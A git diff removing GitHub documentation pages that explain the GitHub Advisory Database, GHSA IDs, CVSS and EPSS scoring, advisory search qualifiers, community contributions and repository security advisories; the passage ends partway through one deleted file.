100644 index ca1bd0286f7b..000000000000 --- a/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/about-global-security-advisories.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: About global security advisories -intro: 'Global security advisories live in the {% data variables.product.prodname_advisory_database %}, a collection of CVEs and {% data variables.product.company_short %}-originated advisories affecting the open source world. You can contribute to improving global security advisories.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Security advisories - - Alerts - - Vulnerabilities - - CVEs -redirect_from: - - /code-security/security-advisories/global-security-advisories/about-global-security-advisories ---- - -## About global security advisories - -{% ifversion fpt or ghec %}There are two types of advisories: global security advisories and repository security advisories. For more information about repository security advisories, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories).{% endif %} - -Global security advisories are grouped into these categories: {% data variables.product.company_short %}-reviewed advisories, unreviewed advisories, and malware advisories. -* {% data reusables.advisory-database.github-reviewed-overview %} -* {% data reusables.advisory-database.unreviewed-overview %} -* {% data reusables.advisory-database.malware-overview %} - -> [!NOTE] -> {% data variables.product.prodname_dependabot %} doesn't generate {% data variables.product.prodname_dependabot_alerts %} for unreviewed and malware advisories. - -For more information about the {% data variables.product.prodname_advisory_database %}, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/about-the-github-advisory-database). - -{% data reusables.security-advisory.global-advisories %} - -Every repository advisory is reviewed by the {% data variables.product.prodname_security %} curation team for consideration as a global advisory. We publish security advisories for any of the ecosystems supported by the dependency graph to the {% data variables.product.prodname_advisory_database %} on [github.com/advisories](https://github.com/advisories). - -You can access any advisory in the {% data variables.product.prodname_advisory_database %}. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/browsing-security-advisories-in-the-github-advisory-database). - -You can suggest improvements to any advisory in the {% data variables.product.prodname_advisory_database %}. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/editing-security-advisories-in-the-github-advisory-database). diff --git a/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/about-the-github-advisory-database.md b/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/about-the-github-advisory-database.md deleted file mode 100644 index f0bc22d06690..000000000000 --- a/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/about-the-github-advisory-database.md +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: About the GitHub Advisory database -intro: 'The {% data variables.product.prodname_advisory_database %} contains a list of known security vulnerabilities and malware, grouped in three categories: {% data variables.product.company_short %}-reviewed advisories, unreviewed advisories, and malware advisories.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Security advisories - - Alerts - - Vulnerabilities - - CVEs -redirect_from: - - /code-security/security-advisories/global-security-advisories/about-the-github-advisory-database ---- - -## About the {% data variables.product.prodname_advisory_database %} - -{% data reusables.repositories.tracks-vulnerabilities %} - -Security advisories are published as JSON files in the Open Source Vulnerability (OSV) format. For more information about the OSV format, see [Open Source Vulnerability format](https://ossf.github.io/osv-schema/). - -## About types of security advisories - -Each advisory in the {% data variables.product.prodname_advisory_database %} is for a vulnerability in open source projects or for malicious open source software. - -{% data reusables.repositories.a-vulnerability-is %} Vulnerabilities in code are usually introduced by accident and fixed soon after they are discovered. You should update your code to use the fixed version of the dependency as soon as it is available. - -In contrast, malicious software, or malware, is code that is intentionally designed to perform unwanted or harmful functions. The malware may target hardware, software, confidential data, or users of any application that uses the malware. You need to remove the malware from your project and find an alternative, more secure replacement for the dependency. - -### {% data variables.product.company_short %}-reviewed advisories - -{% data reusables.advisory-database.github-reviewed-overview %} - -Generally, we name our supported ecosystems after the software programming language's associated package registry. We review advisories if they are for a vulnerability in a package that comes from a supported registry. - -* Composer (registry: https://packagist.org/) -* Erlang (registry: https://hex.pm/) -* Go (registry: https://pkg.go.dev/) -* GitHub Actions (https://github.com/marketplace?type=actions/) -* Maven (registry: https://repo.maven.apache.org/maven2) -* Npm (registry: https://www.npmjs.com/) -* NuGet (registry: https://www.nuget.org/) -* Pip (registry: https://pypi.org/) -* Pub (registry: https://pub.dev/packages/registry) -* RubyGems (registry: https://rubygems.org/) -* Rust (registry: https://crates.io/) -* Swift (registry: N/A) - -If you have a suggestion for a new ecosystem we should support, please open an [issue](https://github.com/github/advisory-database/issues) for discussion. - -If you enable {% data variables.product.prodname_dependabot_alerts %} for your repositories, you are automatically notified when a new {% data variables.product.company_short %}-reviewed advisory reports a vulnerability for a package you depend on. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). - -### Unreviewed advisories - -{% data reusables.advisory-database.unreviewed-overview %} - -{% data variables.product.prodname_dependabot %} doesn't create {% data variables.product.prodname_dependabot_alerts %} for unreviewed advisories as this type of advisory isn't checked for validity or completion. - -### Malware advisories - -{% data reusables.advisory-database.malware-overview %} - -{% data variables.product.prodname_dependabot %} doesn't generate alerts when malware is detected as most of the vulnerabilities cannot be resolved by downstream users. You can view malware advisories by searching for `type:malware` in the {% data variables.product.prodname_advisory_database %}. - -Our malware advisories are mostly about substitution attacks. During this type of attack, an attacker publishes a package to the public registry with the same name as a dependency that users rely on from a third party or private registry, with the hope that the malicious version is consumed. {% data variables.product.prodname_dependabot %} doesn’t look at project configurations to determine if the packages are coming from a private registry, so we aren't sure if you're using the malicious version or a non-malicious version. Users who have their dependencies appropriately scoped should not be affected by malware. - -## About information in security advisories - -In this section, you can find more detailed information about specific data attributes of the {% data variables.product.prodname_advisory_database %}. - -### About GHSA IDs - -Each security advisory, regardless of its type, has a unique identifier referred to as a GHSA ID. A `GHSA-ID` qualifier is assigned when a new advisory is created on {% data variables.product.prodname_dotcom %} or added to the {% data variables.product.prodname_advisory_database %} from any of the supported sources. - -The syntax of GHSA IDs follows this format: `GHSA-xxxx-xxxx-xxxx` where: - -* `x` is a letter or a number from the following set: `23456789cfghjmpqrvwx`. -* Outside the `GHSA` portion of the name: - * The numbers and letters are randomly assigned. - * All letters are lowercase. - -You can validate a GHSA ID using a regular expression. - -```bash copy -/GHSA(-[23456789cfghjmpqrvwx]{4}){3}/ -``` - -### About CVSS levels - -{% ifversion cvss-4 %} The {% data variables.product.prodname_advisory_database %} supports both CVSS version 3.1 and CVSS version 4.0.{% endif %} - -Each security advisory contains information about the vulnerability or malware, which may include the description, severity, affected package, package ecosystem, affected versions and patched versions, impact, and optional information such as references, workarounds, and credits. In addition, advisories from the National Vulnerability Database list contain a link to the CVE record, where you can read more details about the vulnerability, its CVSS scores, and its qualitative severity level. For more information, see the [National Vulnerability Database](https://nvd.nist.gov/) from the National Institute of Standards and Technology. - -The severity level is one of four possible levels defined in the [Common Vulnerability Scoring System (CVSS), Section 5](https://www.first.org/cvss/specification-document). -* Low -* Medium/Moderate -* High -* Critical - -The {% data variables.product.prodname_advisory_database %} uses the CVSS levels described above. If {% data variables.product.company_short %} obtains a CVE, the {% data variables.product.prodname_advisory_database %} uses the CVSS version assigned by the maintainer, which can be version 3.1{% ifversion cvss-4 %} or 4.0{% endif %}. If the CVE is imported, the {% data variables.product.prodname_advisory_database %} supports CVSS versions {% ifversion cvss-4 %}4.0, {% endif %}3.1 and 3.0. - -{% data reusables.repositories.github-security-lab %} - -### About EPSS scores - -The Exploit Prediction Scoring System, or EPSS, is a system devised by the global Forum of Incident Response and Security Teams (FIRST) for quantifying the likelihood of vulnerability exploit. The model produces a probability score between 0 and 1 (0 and 100%), where the higher the score, the greater the probability that a vulnerability will be exploited. For more information about FIRST, see https://www.first.org/. - -The {% data variables.product.prodname_advisory_database %} includes EPSS scores from FIRST for advisories containing CVEs with corresponding EPSS data. {% data variables.product.company_short %} also displays the EPSS score percentile, which is the proportion of all scored vulnerabilities with the same or a lower EPSS score. - -For example, if an advisory had an EPSS score that had a percentage of 90.534% at the 95th percentile, according to the [EPSS model](https://www.first.org/epss/model), this means that: - -* There is a 90.534% chance of this vulnerability being exploited in the wild in the next 30 days. -* 95% of the total modeled vulnerabilities are considered less likely to be exploited in the next 30 days than this vulnerability. - -Extended information about how to interpret this data can be found in FIRST's EPSS User Guide. This information helps you understand how both percentage and percentile can be used to interpret the likelihood that a vulnerability could be exploited in the wild according to FIRST's model. For more information, see the [FIRST's EPSS User Guide](https://www.first.org/epss/user-guide) on the FIRST website. - -FIRST also provides additional information around the distribution of their EPSS data. For more information, see [EPSS data and statistics documentation](https://www.first.org/epss/data_stats) on the FIRST website. - ->[!NOTE] {% data variables.product.company_short %} keeps EPSS data up to date with a daily synchronization action. While EPSS score percentages will always be fully synchronized, score percentiles will only be updated when significantly different. - -At {% data variables.product.company_short %}, we do not author this data, but rather source it from FIRST, which means that this data is not editable in community contributions. For more information about community contributions, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/editing-security-advisories-in-the-github-advisory-database). - -## Further reading - -* [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) -* The CVE Program's [definition of "vulnerability"](https://www.cve.org/ResourcesSupport/Glossary#glossaryVulnerability) diff --git a/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/browsing-security-advisories-in-the-github-advisory-database.md b/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/browsing-security-advisories-in-the-github-advisory-database.md deleted file mode 100644 index 9bce49eb360f..000000000000 --- a/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/browsing-security-advisories-in-the-github-advisory-database.md +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: Browsing security advisories in the GitHub Advisory Database -intro: 'You can browse the {% data variables.product.prodname_advisory_database %} to find CVEs and {% data variables.product.prodname_dotcom %}-originated advisories affecting the open source world.' -shortTitle: Browse Advisory Database -permissions: '{% data reusables.permissions.global-security-advisories-browse %}' -redirect_from: - - /github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database - - /code-security/supply-chain-security/browsing-security-vulnerabilities-in-the-github-advisory-database - - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database - - /code-security/dependabot/dependabot-alerts/browsing-security-vulnerabilities-in-the-github-advisory-database - - /code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database - - /code-security/security-advisories/global-security-advisories/browsing-security-advisories-in-the-github-advisory-database -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Security advisories - - Alerts - - Dependabot - - Vulnerabilities - - CVEs ---- -<!--Marketing-LINK: From /features/security/software-supply-chain page "Browsing security vulnerabilities in the GitHub Advisory Database".--> - -## Accessing an advisory in the {% data variables.product.prodname_advisory_database %} - -You can access any advisory in the {% data variables.product.prodname_advisory_database %}. - -1. Navigate to https://github.com/advisories. -1. Optionally, to filter the list of advisories, use the search field or the drop-down menus at the top of the list. - - > [!NOTE] - > You can use the sidebar on the left to explore {% data variables.product.company_short %}-reviewed and unreviewed advisories separately, or to filter by ecosystem. - -1. Click an advisory to view details. By default, you will see {% data variables.product.company_short %}-reviewed advisories for security vulnerabilities. To show malware advisories, use `type:malware` in the search bar. - -The database is also accessible using the GraphQL API. By default, queries will return {% data variables.product.company_short %}-reviewed advisories for security vulnerabilities unless you specify `type:malware`. For more information, see the [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#security_advisory). - -Additionally, you can access the {% data variables.product.prodname_advisory_database %} using the REST API. For more information, see [AUTOTITLE](/rest/security-advisories/global-advisories). - -## Editing an advisory in the {% data variables.product.prodname_advisory_database %} - -You can suggest improvements to any advisory in the {% data variables.product.prodname_advisory_database %}. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/editing-security-advisories-in-the-github-advisory-database). - -## Searching the {% data variables.product.prodname_advisory_database %} - -You can search the database, and use qualifiers to narrow your search. For example, you can search for advisories created on a certain date, in a specific ecosystem, or in a particular library. - -{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} - -{% data reusables.search.date_gt_lt %} - -| Qualifier | Example | -| ---------- | ------- | -| `type:reviewed`| [`type:reviewed`](https://github.com/advisories?query=type%3Areviewed) will show {% data variables.product.company_short %}-reviewed advisories for security vulnerabilities. | -| `type:malware` | [`type:malware`](https://github.com/advisories?query=type%3Amalware) will show malware advisories. | -| `type:unreviewed`| [`type:unreviewed`](https://github.com/advisories?query=type%3Aunreviewed) will show unreviewed advisories. | -| `GHSA-ID`| [`GHSA-49wp-qq6x-g2rf`](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) will show the advisory with this {% data variables.product.prodname_advisory_database %} ID. | -| `CVE-ID`| [`CVE-2020-28482`](https://github.com/advisories?query=CVE-2020-28482) will show the advisory with this CVE ID number. | -| `ecosystem:ECOSYSTEM`| [`ecosystem:npm`](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) will show only advisories affecting npm packages. | -| `severity:LEVEL`| [`severity:high`](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) will show only advisories with a high severity level. | -| `affects:LIBRARY`| [`affects:lodash`](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) will show only advisories affecting the lodash library. | -| `cwe:ID`| [`cwe:352`](https://github.com/advisories?query=cwe%3A352) will show only advisories with this CWE number. | -| `credit:USERNAME`| [`credit:octocat`](https://github.com/advisories?query=credit%3Aoctocat) will show only advisories credited to the "octocat" user account. | -| `sort:created-asc`| [`sort:created-asc`](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) will sort by the oldest advisories first. | -| `sort:created-desc`| [`sort:created-desc`](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) will sort by the newest advisories first. | -| `sort:updated-asc`| [`sort:updated-asc`](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) will sort by the least recently updated first. | -| `sort:updated-desc`| [`sort:updated-desc`](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) will sort by the most recently updated first. | -| `is:withdrawn`| [`is:withdrawn`](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) will show only advisories that have been withdrawn. | -| `created:YYYY-MM-DD`| [`created:2021-01-13`](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) will show only advisories created on this date. | -| `updated:YYYY-MM-DD`| [`updated:2021-01-13`](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) will show only advisories updated on this date. | - -A `GHSA-ID` qualifier is a unique ID that we at {% data variables.product.prodname_dotcom %} automatically assign to every advisory in the {% data variables.product.prodname_advisory_database %}. For more information about these identifiers, see [About the {% data variables.product.prodname_advisory_database %}](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/about-the-github-advisory-database#about-ghsa-ids). - -## Viewing your vulnerable repositories - -For any {% data variables.product.company_short %}-reviewed advisory in the {% data variables.product.prodname_advisory_database %}, you can see which of your repositories are affected by that security vulnerability or malware. To see a vulnerable repository, you must have access to {% data variables.product.prodname_dependabot_alerts %} for that repository. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts#access-to-dependabot-alerts). - -1. Navigate to https://github.com/advisories. -1. Click an advisory. -1. At the top of the advisory page, click **Dependabot alerts**. - ![Screenshot of a "global security advisory". The "Dependabot alerts" button is highlighted with an orange outline.](/assets/images/help/security/advisory-database-dependabot-alerts.png) -1. Optionally, to filter the list, use the search bar or the drop-down menus. The "Organization" drop-down menu allows you to filter the {% data variables.product.prodname_dependabot_alerts %} per owner (organization or user). -1. For more details about the advisory, and for advice on how to fix the vulnerable repository, click the repository name. - -{% ifversion ghes %} - -## Accessing the local advisory database on {% data variables.product.prodname_ghe_server %} - -If your site administrator has enabled {% data variables.product.prodname_github_connect %} for your instance, you can also browse reviewed advisories locally. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/about-github-connect). - -You can use your local advisory database to check whether a specific security vulnerability is included, and therefore whether you'd get alerts for vulnerable dependencies. You can also view any vulnerable repositories. - -1. Navigate to `https://HOSTNAME/advisories`. -1. Optionally, to filter the list, use any of the drop-down menus. - - > [!NOTE] - > Only reviewed advisories will be listed. Unreviewed advisories can be viewed in the {% data variables.product.prodname_advisory_database %} on {% data variables.product.prodname_dotcom_the_website %}. For more information, see [Accessing an advisory in the GitHub Advisory Database](#accessing-an-advisory-in-the-github-advisory-database). - -1. Click an advisory to view details. By default, you will see {% data variables.product.company_short %}-reviewed advisories for security vulnerabilities. To show malware advisories, use `type:malware` in the search bar. - -You can also suggest improvements to any advisory directly from your local advisory database. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/editing-security-advisories-in-the-github-advisory-database#editing-advisories-from-your-github-enterprise-server-instance). - -### Viewing vulnerable repositories for your instance - -{% data reusables.repositories.enable-security-alerts %} - -In the local advisory database, you can see which repositories are affected by each security vulnerability or malware. To see a vulnerable repository, you must have access to {% data variables.product.prodname_dependabot_alerts %} for that repository. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts#access-to-dependabot-alerts). - -1. Navigate to `https://HOSTNAME/advisories`. -1. Click an advisory. -1. At the top of the advisory page, click **Dependabot alerts**. - ![Screenshot of a "global security advisory". The "Dependabot alerts" button is highlighted with an orange outline.](/assets/images/help/security/advisory-database-dependabot-alerts.png) -1. Optionally, to filter the list, use the search bar or the drop-down menus. The "Organization" drop-down menu allows you to filter the {% data variables.product.prodname_dependabot_alerts %} per owner (organization or user). -1. For more details about the advisory, and for advice on how to fix the vulnerable repository, click the repository name. - -{% endif %} diff --git a/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/editing-security-advisories-in-the-github-advisory-database.md b/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/editing-security-advisories-in-the-github-advisory-database.md deleted file mode 100644 index 38fdb5532046..000000000000 --- a/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/editing-security-advisories-in-the-github-advisory-database.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Editing security advisories in the GitHub Advisory Database -intro: 'You can submit improvements to any advisory published in the {% data variables.product.prodname_advisory_database %} by making a community contribution.' -permissions: '{% data reusables.permissions.global-security-advisories-edit %}' -redirect_from: - - /code-security/security-advisories/editing-security-advisories-in-the-github-advisory-database - - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database - - /code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database - - /code-security/security-advisories/global-security-advisories/editing-security-advisories-in-the-github-advisory-database -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Security advisories - - Alerts - - Dependabot - - Vulnerabilities - - CVEs -shortTitle: Edit Advisory Database ---- - -## Editing advisories in the {% data variables.product.prodname_advisory_database %} - -The advisories in the {% data variables.product.prodname_advisory_database %} are global security advisories. For more information about global security advisories, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/about-global-security-advisories). - -Anyone can suggest improvements on any global security advisory in the {% data variables.product.prodname_advisory_database %} by making a **community contribution**. A **community contribution** is a pull request submitted to the [github/advisory-database](https://github.com/github/advisory-database) repository that improves the content of a global security advisory. When you make a community contribution, you can edit or add any detail, including additionally affected ecosystems, severity level or description of who is impacted. The {% data variables.product.prodname_security %} curation team will review the submitted contributions and publish them onto the {% data variables.product.prodname_advisory_database %} if accepted. - -{% ifversion security-advisories-credit-types %} -If we accept and publish the community contribution, the person who submitted the community contribution pull request will automatically be assigned a credit type of "Analyst". For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory#about-credits-for-repository-security-advisories).{% endif %} - -{% ifversion fpt or ghec %} -Only repository owners and administrators can edit repository-level security advisories. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/editing-a-repository-security-advisory).{% endif %} - -1. Navigate to https://github.com/advisories. -1. Select the security advisory you would like to contribute to. -1. On the right-hand side of the page, click the **Suggest improvements for this vulnerability** link. -1. In the "Improve security advisory" form, make the desired improvements. You can edit or add any detail.{% ifversion fpt or ghec %} For information about correctly specifying information on the form, including affected versions, see [AUTOTITLE](/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/best-practices-for-writing-repository-security-advisories).{% endif %} -1. Under **Reason for change**, explain why you want to make this improvement. If you include links to supporting material this will help our reviewers. -1. When you finish editing the advisory, click **Submit improvements**. -1. Once you submit your community contribution, a pull request containing your changes will be created for review in [github/advisory-database](https://github.com/github/advisory-database) by the {% data variables.product.prodname_security %} curation team. If the advisory originated from a {% data variables.product.prodname_dotcom %} repository, we will also tag the original publisher for optional commentary. You can view the pull request and get notifications when it is updated or closed. - -You can also open a pull request directly on an advisory file in the [github/advisory-database](https://github.com/github/advisory-database) repository. For more information, see the [contribution guidelines](https://github.com/github/advisory-database/blob/main/CONTRIBUTING.md). - -{% ifversion ghes %} - -## Editing advisories from {% data variables.product.prodname_ghe_server %} - -If you have {% data variables.product.prodname_github_connect %} enabled on your instance, you will be able to see advisories by adding `/advisories` to the instance url. - -1. Navigate to `https://HOSTNAME/advisories`. -1. Select the security advisory you would like to contribute to. -1. On the right-hand side of the page, click the **Suggest improvements for this vulnerability on {% data variables.product.prodname_dotcom %}.** link. A new tab opens with the same security advisory on {% data variables.product.prodname_dotcom %}. -1. Edit the advisory, following steps four through six in [Editing advisories in the GitHub Advisory Database](#editing-advisories-in-the-github-advisory-database) above. -{% endif %} diff --git a/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/index.md b/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/index.md deleted file mode 100644 index 3212095636ff..000000000000 --- a/content/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Working with global security advisories from the GitHub Advisory Database -shortTitle: Global security advisories -intro: 'Browse the {% data variables.product.prodname_advisory_database %} and submit improvements to any global security advisory.' -redirect_from: - - /code-security/security-advisories/global-security-advisories -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Security advisories - - Vulnerabilities - - Repositories - - CVEs -children: - - /about-the-github-advisory-database - - /about-global-security-advisories - - /browsing-security-advisories-in-the-github-advisory-database - - /editing-security-advisories-in-the-github-advisory-database ---- diff --git a/content/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories.md b/content/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories.md deleted file mode 100644 index 2a841ae8058c..000000000000 --- a/content/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: About repository security advisories -intro: 'You can use repository security advisories to privately discuss, fix, and publish information about security vulnerabilities in your public repository.' -shortTitle: About repository security advisories -redirect_from: - - /articles/about-maintainer-security-advisories - - /github/managing-security-vulnerabilities/about-maintainer-security-advisories - - /github/managing-security-vulnerabilities/about-github-security-advisories - - /code-security/security-advisories/about-github-security-advisories - - /code-security/repository-security-advisories/about-github-security-advisories-for-repositories - - /code-security/security-advisories/repository-security-advisories/about-repository-security-advisories -versions: - fpt: '*' - ghec: '*' -type: overview -product: '{% data reusables.gated-features.private-vulnerability-reporting %}' -topics: - - Security advisories - - Vulnerabilities - - CVEs ---- - -## About repository security advisories - -{% data reusables.security-advisory.disclosing-vulnerabilities %} For more information, see [AUTOTITLE](/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/about-coordinated-disclosure-of-security-vulnerabilities). - -{% data reusables.security-advisory.security-advisory-overview %} - -With repository security advisories, you can: - -1. Create a draft security advisory, and use the draft to privately discuss the impact of the vulnerability on your project. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory). -1. Privately collaborate to fix the vulnerability in a temporary private fork. -1. Publish the security advisory to alert your community of the vulnerability once a patch is released. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/publishing-a-repository-security-advisory). - -{% data reusables.repositories.security-advisories-republishing %} - -{% ifversion repository-security-advisories-API %} -You can also use the REST API to create, list, and update repository security advisories. For more information, see [AUTOTITLE](/rest/security-advisories/repository-advisories). -{% endif %} - -You can give credit to individuals who contributed to a security advisory. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/editing-a-repository-security-advisory#about-credits-for-security-advisories). - -{% data reusables.repositories.security-guidelines %} - -If you created a security advisory in your repository, the security advisory will stay in your repository. We publish security advisories for any of the ecosystems supported by the dependency graph to the {% data variables.product.prodname_advisory_database %} on [github.com/advisories](https://github.com/advisories). Anyone can submit a change to an advisory published in the {% data variables.product.prodname_advisory_database %}. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-global-security-advisories-from-the-github-advisory-database/editing-security-advisories-in-the-github-advisory-database). - -If a security advisory is specifically for npm, we also publish the advisory to the npm security advisories. For more information, see [npmjs.com/advisories](https://www.npmjs.com/advisories). - -{% data reusables.repositories.github-security-lab %} - -## CVE identification numbers - -{% data variables.product.prodname_security_advisories %} builds upon the foundation of the Common Vulnerabilities and Exposures (CVE) list. The security advisory form on {% data variables.product.prodname_dotcom %} is a standardized form that matches the CVE description format. - -{% data variables.product.prodname_dotcom %} is a CVE Numbering Authority (CNA) and is authorized to assign CVE identification numbers. For more information, see [About CVE](https://www.cve.org/About/Overview) and [CVE Numbering Authorities](https://www.cve.org/ProgramOrganization/CNAs) on the CVE website. - -When you create a security advisory for a public repository on {% data variables.product.prodname_dotcom %}, you have the option of providing an existing CVE identification number for the security vulnerability. {% data reusables.repositories.request-security-advisory-cve-id %} - -Once you've published the security advisory and {% data variables.product.prodname_dotcom %} has assigned a CVE identification number to the vulnerability, {% data variables.product.prodname_dotcom %} publishes the CVE to the MITRE database. -For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/publishing-a-repository-security-advisory). - -## {% data variables.product.prodname_dependabot_alerts %} for published security advisories - -{% data reusables.repositories.github-reviews-security-advisories %} diff --git a/content/code-security/security-advisories/working-with-repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md b/content/code-security/security-advisories/working-with-repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md deleted file mode 100644 index f81d5bf69795..000000000000 --- a/content/code-security/security-advisories/working-with-repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Adding a collaborator to a repository security advisory -intro: You can add other users or teams to collaborate on a security advisory with you. -permissions: '{% data reusables.permissions.security-repo-enable %}' -redirect_from: - - /articles/adding-a-collaborator-to-a-maintainer-security-advisory - - /github/managing-security-vulnerabilities/adding-a-collaborator-to-a-maintainer-security-advisory - - /github/managing-security-vulnerabilities/adding-a-collaborator-to-a-security-advisory - - /code-security/security-advisories/adding-a-collaborator-to-a-security-advisory - - /code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory - - /code-security/security-advisories/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Security advisories - - Vulnerabilities - - Collaboration -shortTitle: Add collaborators ---- - -{% data reusables.security-advisory.repository-level-advisory-note %} - -## Adding a collaborator to a security advisory - -Collaborators have write permissions to the security advisory. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/permission-levels-for-repository-security-advisories). - -> [!NOTE] -> {% data reusables.repositories.security-advisory-collaborators-public-repositories %} For more information about removing a collaborator on a security advisory, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-advisories %} -1. In the "Security Advisories" list, click the security advisory you'd like to add a collaborator to. -1. On the right side of the page, under "Collaborators", type the name of the user or team you'd like to add to the security advisory. -1. Click **{% octicon "plus" aria-label="Add Collaborator" %}** to add the selected user or team as a collaborator. - ![Screenshot of the "Collaborators" area in the sidebar of a draft security advisory. The "Add collaborator" button, a plus icon, is outlined in orange.](/assets/images/help/security/security-advisory-add-collaborator-button.png) - -## Further reading - -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/permission-levels-for-repository-security-advisories) -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability) -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory). diff --git a/content/code-security/security-advisories/working-with-repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md b/content/code-security/security-advisories/working-with-repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md deleted file mode 100644 index 63a5c228fede..000000000000 --- a/content/code-security/security-advisories/working-with-repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Collaborating in a temporary private fork to resolve a repository security vulnerability -intro: You can create a temporary private fork to privately collaborate on fixing a security vulnerability in your public repository. -permissions: '{% data reusables.permissions.security-repo-enable %}' -redirect_from: - - /articles/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability - - /github/managing-security-vulnerabilities/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability - - 